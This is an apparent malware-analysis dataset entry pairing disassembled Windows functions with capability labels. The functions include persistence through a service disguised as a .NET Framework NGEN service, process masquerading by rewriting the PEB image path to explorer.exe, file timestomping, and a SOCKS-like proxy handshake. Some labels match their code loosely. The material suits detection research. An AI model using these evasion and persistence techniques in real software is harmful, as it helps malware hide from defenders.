joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c6d
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.00402dd3
pop ecx
test al, al
je 0x404c83
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d11
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x404d07
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404cf8
cmp dword [ebp - 0x1c], 4
je 0x404d16
cmp dword [ebp - 0x1c], 2
je 0x404d16
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x404cf8
xor esi, esi
push 1
call fcn.00402dd3
pop ecx
test al, al
jne 0x404d16
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x404cdb
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x404cff

Function at 0x404d1a
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x404e3b
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, 0xffff
call fcn.004024cb
movzx edi, ax
call fcn.00405c04
test al, al
push edi
lea eax, [ebp - 0x448]
je 0x404d73
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x404d81
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x240]
push eax
call esi
add esp, 0x18
push 0x407da4
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x240]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x448]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d46
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x404e85
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
push 4
push ebx
push ebx
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x404fda
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
push 3
push 0x30
push ebx
push eax
call esi
test eax, eax
jne 0x404fd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x404fd0
push edi
mov edi, dword [ebp - 8]
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x404fcf
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push 0x30
push ebx
push dword [ebp - 0x18]
call esi
test eax, eax
je 0x404fc6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x404fc6
mov esi, edi
push 1
push dword [esi]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x404fb4
lea ecx, [ebp - 0xc]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x404fa6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404fa6
mov edi, dword [ebp - 0xc]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404fa6
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x404f9f
push dword [ebp - 0x20]
push dword [ebp + 8]
push dword [edi + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x404f9f
push dword [esi]
mov byte [ebp - 1], 1
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call fcn.004023f0
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 1], bl
jne 0x404fc6
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add esi, 0x2c
cmp eax, dword [ebp - 0x14]
jb 0x404f2a
push dword [ebp - 0x24]
call fcn.004023f0
pop ecx
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x40502e
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 8], 0xffffffff
je 0x405075
test byte [ebp + 0x10], 2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x10
je 0x405061
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x405069
or eax, 0xffffffff
leave
ret
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x405058
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ax, word [ebp - 0x1e]
jmp 0x40507b
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0xe], ax
mov al, byte [ebp + 0xc]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x10]
push 8
push eax
mov byte [ebp - 0x10], 0
call fcn.004027dc
sub eax, 8
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret
Function at 0x4050a0
Capabilities:
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xbc]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], 0x80
xor ebx, ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x4050d6
movzx esi, word [ebp - 0xbc]
xor eax, eax
cmp si, 0x17
mov esi, dword [sym.imp.WS2_32.dll_recv]
sete al
push ebx
push 7
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call esi
cmp eax, 7
jne 0x40526b
xor edi, edi
inc edi
jmp 0x405107
cmp byte [ebp - 5], bl
je 0x405116
push ebx
push edi
lea eax, [ebp - 5]
push eax
push dword [ebp + 8]
call esi
cmp eax, edi
je 0x405102
mov ecx, dword [ebp - 0x19]
mov eax, ecx
and eax, 0xff0000
mov edx, ecx
shr edx, 0x10
or eax, edx
mov edx, ecx
and edx, 0xff00
mov edi, ecx
shl edi, 0x10
or edx, edi
shr eax, 8
shl edx, 8
or eax, edx
dec eax
mov byte [ebp - 0xa], 0x5a
cmp eax, 0xfe
ja 0x405189
mov byte [ebp - 5], 0x5a
xor edi, edi
push ebx
push 1
lea eax, [ebp - 6]
push eax
push dword [ebp + 8]
call esi
cmp eax, 1
jne 0x405178
mov al, byte [ebp - 6]
mov byte [ebp + edi - 0x13c], al
cmp al, bl
je 0x40519d
inc edi
cmp edi, 0xff
jle 0x405150
mov byte [ebp - 0xa], 0x5b
cmp byte [ebp - 0xa], 0x5a
jne 0x40526b
mov ecx, dword [ebp - 0x19]
movzx eax, byte [ebp - 0x1c]
dec eax
mov byte [ebp - 5], 1
je 0x4051ef
mov byte [ebp - 0xa], 0x5b
jmp 0x405258
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4051e3
mov esi, dword [ebp - 0x14]
cmp esi, ebx
je 0x4051d6
cmp dword [esi + 4], 2
je 0x4051cd
mov esi, dword [esi + 0x1c]
cmp esi, ebx
jne 0x4051be
jmp 0x4051d6
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x19], eax
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp esi, ebx
jne 0x4051e7
mov byte [ebp - 5], 0x5b
mov al, byte [ebp - 5]
mov byte [ebp - 0xa], al
jmp 0x40517c
push 2
pop eax
mov word [ebp - 0x38], ax
mov ax, word [ebp - 0x1b]
mov word [ebp - 0x36], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x34], ecx
call fcn.00402829
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x405194
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push 0x5a
push esi
call fcn.0040502e
add esp, 0xc
cmp eax, 1
jne 0x40523e
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
call fcn.00402ceb
pop ecx
jmp 0x40524d
cmp eax, 0xffffffff
jne 0x405249
mov byte [ebp - 0xa], 0x5b
jmp 0x40524d
mov byte [ebp - 5], 0
call fcn.0040288f
cmp byte [ebp - 5], 0
je 0x40526b
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push dword [ebp - 0xa]
push 0xffffffffffffffff
call fcn.0040502e
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405332
Capabilities:
Check for peb beingdebugged flag
Get common file path

Disassembly:
push ebx
push esi
push edi
mov edi, dword fs:[0x30]
push 0x104
mov esi, 0x42a570
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.explorer.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
mov eax, dword [edi + 0x10]
mov ecx, esi
lea edx, [ecx + 2]
mov bx, word [ecx]
add ecx, 2
test bx, bx
jne 0x405367
sub ecx, edx
sar ecx, 1
add ecx, ecx
mov word [eax + 0x38], cx
add ecx, 2
mov word [eax + 0x3a], cx
push 0x18
mov dword [eax + 0x3c], esi
mov eax, dword [edi + 0x10]
pop ecx
push 0x1a
mov word [eax + 0x40], cx
pop ecx
mov word [eax + 0x42], cx
mov dword [eax + 0x44], 0x407dfc
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
push 0
push 0x4052ca
push 0
call dword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
pop edi
pop esi
pop ebx
ret

Function at 0x405567
Capabilities:
Create thread

Disassembly:
push ebx
xor ebx, ebx
cmp byte [0x40a34c], bl
je 0x4055bf
call fcn.00405cd3
test al, al
je 0x4055bf
push esi
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
push ebx
push ebx
push 0x405437
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
pop esi
pop ebx
ret
Function at 0x4055ed
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
mov edi, 0xfffe
call fcn.00402307
mov esi, eax
xor edi, edi
mov dword [ebp - 4], esi
cmp esi, edi
je 0x4057a3
cmp dword [ebp + 0x10], edi
je 0x40579a
cmp dword [ebp + 8], edi
je 0x40579a
cmp dword [ebp + 0xc], edi
je 0x40579a
cmp dword [ebp + 0x18], edi
je 0x40579a
push dword [ebp + 8]
mov eax, 0x4080a0
push esi
call fcn.004055c1
pop ecx
pop ecx
test al, al
je 0x40579a
push 0x250
lea eax, [ebp - 0x258]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push esi
mov dword [ebp - 0x25c], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40579a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ebx, dword [ebp + 0x14]
cmp word [ebp - 0x22c], 0x2e
jne 0x4056c0
cmp word [ebp - 0x22a], 0
je 0x40576f
cmp word [ebp - 0x22a], 0x2e
jne 0x4056c0
cmp word [ebp - 0x228], 0
je 0x40576f
mov eax, dword [ebp - 0x258]
and eax, 0x10
je 0x4056d0
test bl, 2
jne 0x4056d9
test eax, eax
jne 0x405721
test bl, 4
je 0x405721
xor esi, esi
cmp dword [ebp + 0x10], esi
jbe 0x405721
mov eax, dword [ebp + 0xc]
push dword [eax + esi*4]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4056ff
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x4056e0
jmp 0x405721
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x405789
cmp dword [ebp + 0x24], 0
je 0x405721
push dword [ebp + 0x24]
call edi
test byte [ebp - 0x258], 0x10
je 0x40576f
test bl, 1
je 0x40576f
push dword [ebp + 8]
lea eax, [ebp - 0x22c]
push dword [ebp - 4]
call fcn.004055c1
pop ecx
pop ecx
test al, al
je 0x40576f
cmp dword [ebp + 0x20], 0
je 0x405751
push dword [ebp + 0x20]
call edi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.004055ed
add esp, 0x20
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405690
jmp 0x405790
and dword [ebp - 0x25c], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
leave
ret
Function at 0x4057a7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, 0xfffe
xor ebx, ebx
call fcn.00402307
mov esi, eax
cmp esi, ebx
je 0x405826
push ebx
push esi
push 0x7fff
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x40581f
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
je 0x40581f
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ntdll.dll_ZwDeleteFile]
test eax, eax
lea eax, [ebp - 0xc]
push eax
setns bl
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
push esi
call fcn.004023f0
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x40582d
Capabilities:
Set file attributes

Disassembly:
push edi
push 0x80
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x40585e
mov ecx, edi
inc edi
cmp ecx, 0x14
jg 0x405872
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 2
neg eax
sbb eax, eax
inc eax
jne 0x405872
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.004057a7
pop ecx
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
test eax, eax
je 0x40583e
pop edi
ret

Function at 0x405874
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1414
call fcn.00406000
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
xor ebx, ebx
call fcn.00402307
mov edi, eax
cmp edi, esi
je 0x405914
push edi
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0x4080ac
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
push edi
call esi
cmp dword [ebp - 4], 4
jb 0x40590d
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push 0x4080e0
push ecx
push eax
lea eax, [ebp - 0x1414]
push str.StringFileInfo_04x_04x_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1414]
push eax
push edi
call esi
test eax, eax
je 0x40590d
push dword [ebp - 0xc]
call fcn.00402966
pop ecx
mov ebx, eax
push edi
call fcn.004023f0
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x405965
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor eax, eax
push esi
push edi
cmp dword [ebp + 8], eax
jne 0x40597c
xor eax, eax
jmp 0x4059fe
cmp dword [ebp + 0xc], eax
je 0x405975
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
mov edi, 0x2000000
push edi
push 3
push eax
push 1
push closesocket
push dword [ebp + 8]
mov dword [ebp - 4], eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4059fb
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
xor eax, eax
push eax
push edi
push 3
push eax
push eax
push 0x100
push dword [ebp + 0xc]
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x4059fb
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
neg eax
sbb eax, eax
neg eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405a68
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push esi
push edi
lea eax, [ebp - 0x428]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x405b29
lea eax, [ebp - 0x218]
push eax
push 0
push 0x4080a4
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x405b29
lea esi, [ebp - 0x218]
call fcn.0040582d
mov eax, esi
push eax
call fcn.00402966
mov esi, eax
pop ecx
mov dword [ebp - 4], esi
test esi, esi
je 0x405b29
push 0
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405b22
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x405b1a
push 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edi, eax
test edi, edi
je 0x405b13
push edi
push 0x405a03
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [ebp - 4]
call fcn.0040582d
push esi
call fcn.004023f0
pop ecx
pop edi
pop esi
leave
ret

Function at 0x405c04
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 0x24], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor eax, eax
cmp word [ebp - 0x24], 9
pop edi
sete al
leave
ret
Function at 0x405e1a
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x40a350
push edi
xor bl, bl
call dword [sym.imp.SHLWAPI.dll_PathSkipRootW]
mov esi, eax
test esi, esi
jne 0x405e34
mov esi, edi
movzx eax, word [esi]
cmp eax, 0x5c
je 0x405e46
cmp eax, 0x2f
je 0x405e46
test ax, ax
jne 0x405e72
mov ebp, eax
xor eax, eax
push edi
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x405e66
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x405e68
test al, 0x10
je 0x405e79
test bp, bp
je 0x405e77
mov word [esi], bp
add esi, 2
jmp 0x405e34
mov bl, 1
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret
Function at 0x40bc40
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x769e99
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x851070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
push esi
call fcn.00406fe0
lea eax, [esi + 0x18]
mov dword [ebp - 4], 0
push eax
lea ecx, [edi + 0x18]
call fcn.00406fe0
lea eax, [esi + 0x30]
mov byte [ebp - 4], 1
push eax
lea ecx, [edi + 0x30]
call fcn.00406fe0
lea eax, [esi + 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [edi + 0x48]
call fcn.00406fe0
lea eax, [esi + 0x60]
mov byte [ebp - 4], 3
push eax
lea ecx, [edi + 0x60]
call fcn.00406fe0
lea eax, [esi + 0x78]
mov byte [ebp - 4], 4
push eax
lea ecx, [edi + 0x78]
call fcn.00406fe0
lea eax, [esi + 0x90]
mov byte [ebp - 4], 5
push eax
lea ecx, [edi + 0x90]
call fcn.00406fe0
lea eax, [esi + 0xa8]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0xa8]
call fcn.00406fe0
lea eax, [esi + 0xc0]
mov byte [ebp - 4], 7
push eax
lea ecx, [edi + 0xc0]
call fcn.00406fe0
lea eax, [esi + 0xd8]
mov byte [ebp - 4], 8
push eax
lea ecx, [edi + 0xd8]
call fcn.00406fe0
lea eax, [esi + 0xf0]
mov byte [ebp - 4], 9
push eax
lea ecx, [edi + 0xf0]
call fcn.00406fe0
lea eax, [esi + 0x108]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [edi + 0x108]
call fcn.00406fe0
lea eax, [esi + 0x120]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [edi + 0x120]
call fcn.00406fe0
lea eax, [esi + 0x138]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [edi + 0x138]
call fcn.00406fe0
lea eax, [esi + 0x150]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [edi + 0x150]
call fcn.00406fe0
lea eax, [esi + 0x168]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [edi + 0x168]
call fcn.00406fe0
lea eax, [esi + 0x180]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [edi + 0x180]
call fcn.00406fe0
lea eax, [esi + 0x198]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [edi + 0x198]
call fcn.00406fe0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x411490
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
test esi, esi
je 0x4114bb
mov edx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4114a4
pop edi
mov eax, edx
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret
Function at 0x41db00
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x76b3fb
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x851070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
push esi
call fcn.00406fe0
lea eax, [esi + 0x18]
mov dword [ebp - 4], 0
push eax
lea ecx, [edi + 0x18]
call fcn.00406fe0
lea eax, [esi + 0x30]
mov byte [ebp - 4], 1
push eax
lea ecx, [edi + 0x30]
call fcn.00406fe0
lea eax, [esi + 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [edi + 0x48]
call fcn.00406fe0
lea eax, [esi + 0x60]
mov byte [ebp - 4], 3
push eax
lea ecx, [edi + 0x60]
call fcn.00406fe0
lea eax, [esi + 0x78]
mov byte [ebp - 4], 4
push eax
lea ecx, [edi + 0x78]
call fcn.00406fe0
lea eax, [esi + 0x90]
mov byte [ebp - 4], 5
push eax
lea ecx, [edi + 0x90]
call fcn.00406fe0
lea eax, [esi + 0xa8]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0xa8]
call fcn.00406fe0
lea eax, [esi + 0xc0]
mov byte [ebp - 4], 7
push eax
lea ecx, [edi + 0xc0]
call fcn.00406fe0
lea eax, [esi + 0xd8]
mov byte [ebp - 4], 8
push eax
lea ecx, [edi + 0xd8]
call fcn.00406fe0
lea eax, [esi + 0xf0]
mov byte [ebp - 4], 9
push eax
lea ecx, [edi + 0xf0]
call fcn.00406fe0
lea eax, [esi + 0x108]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [edi + 0x108]
call fcn.00406fe0
lea eax, [esi + 0x120]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [edi + 0x120]
call fcn.00406fe0
lea eax, [esi + 0x138]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [edi + 0x138]
call fcn.00406fe0
lea eax, [esi + 0x150]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [edi + 0x150]
call fcn.00406fe0
lea eax, [esi + 0x168]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [edi + 0x168]
call fcn.00406fe0
lea eax, [esi + 0x180]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [edi + 0x180]
call fcn.00406fe0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4